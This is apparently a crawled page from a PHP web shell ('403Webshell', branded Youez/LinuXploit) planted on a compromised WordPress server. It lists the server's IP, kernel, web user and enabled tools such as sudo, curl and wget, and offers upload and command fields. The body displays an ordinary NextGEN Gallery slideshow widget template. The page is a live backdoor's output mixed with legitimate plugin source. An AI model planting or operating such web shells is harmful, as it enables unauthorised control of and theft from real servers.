403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.0
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/templates/Widget/Form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/templates/Widget/Form/Slideshow.php
<p>
	<label for='<?php echo $self->get_field_id( 'title' ); ?>'>
		<?php _e( 'Title', 'nggallery' ); ?>:
	</label>

	<input class='widefat'
			id='<?php echo $self->get_field_id( 'title' ); ?>'
			name='<?php echo $self->get_field_name( 'title' ); ?>'
			type='text'
			value='<?php echo $title; ?>'/>
</p>

<p>
	<label for='<?php echo $self->get_field_id( 'galleryid' ); ?>'>
		<?php _e( 'Select Gallery', 'nggallery' ); ?>:
	</label>

	<select size='1'
			name='<?php echo $self->get_field_name( 'galleryid' ); ?>'
			id='<?php echo $self->get_field_id( 'galleryid' ); ?>'
			class='widefat'>
		<option value='0' 
		<?php
		if ( 0 == $instance['galleryid'] ) {
			echo 'selected="selected" ';}
		?>
		>
			<?php _e( 'All images', 'nggallery' ); ?>
		</option>
		<?php
		if ( $tables ) {
			foreach ( $tables as $table ) {
				echo '<option value="' . $table->gid . '" ';
				if ( $table->gid == $instance['galleryid'] ) {
					echo 'selected="selected" ';
				}
				echo '>' . $table->title . '</option>';
			}
		}
		?>
	</select>
</p>

<p id ='<?php echo $self->get_field_id( 'limit' ); ?>_container' 
					<?php
					if ( 0 != $instance['galleryid'] ) {
						?>
	style="display: none;" <?php } ?>>
	<label for='<?php echo $self->get_field_id( 'limit' ); ?>'>
		<?php _e( 'Limit', 'nggallery' ); ?>:
	</label>
	<input id='<?php echo $self->get_field_id( 'limit' ); ?>'
			name='<?php echo $self->get_field_name( 'limit' ); ?>'
			type='number'
			min='0'
			step='1'
			style="padding: 3px; width: 45px;"
			value="<?php echo $limit; ?>"/>
</p>

<p>
	<label for='<?php echo $self->get_field_id( 'height' ); ?>'>
		<?php _e( 'Height', 'nggallery' ); ?>:
	</label>

	<input id='<?php echo $self->get_field_id( 'height' ); ?>'
			name='<?php echo $self->get_field_name( 'height' ); ?>'
			type='text'
			style='padding: 3px; width: 45px;'
			value='<?php echo $height; ?>'/>
</p>

<p>
	<label for='<?php echo $self->get_field_id( 'width' ); ?>'>
		<?php _e( 'Width', 'nggallery' ); ?>:
	</label>

	<input id='<?php echo $self->get_field_id( 'width' ); ?>'
			name='<?php echo $self->get_field_name( 'width' ); ?>'
			type='text'
			style='padding: 3px; width: 45px;'
			value='<?php echo $width; ?>'/>
</p>

<!-- only show the limit field when 'all images' is selected -->
<script type="text/javascript">
	(function($) {
		$('#<?php echo $self->get_field_id( 'galleryid' ); ?>').on('change', function() {
			if ($(this).val() == 0) {
				$('#<?php echo $self->get_field_id( 'limit' ); ?>_container').show();
			} else {
				$('#<?php echo $self->get_field_id( 'limit' ); ?>_container').hide();
			}
		});
	})(jQuery);
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit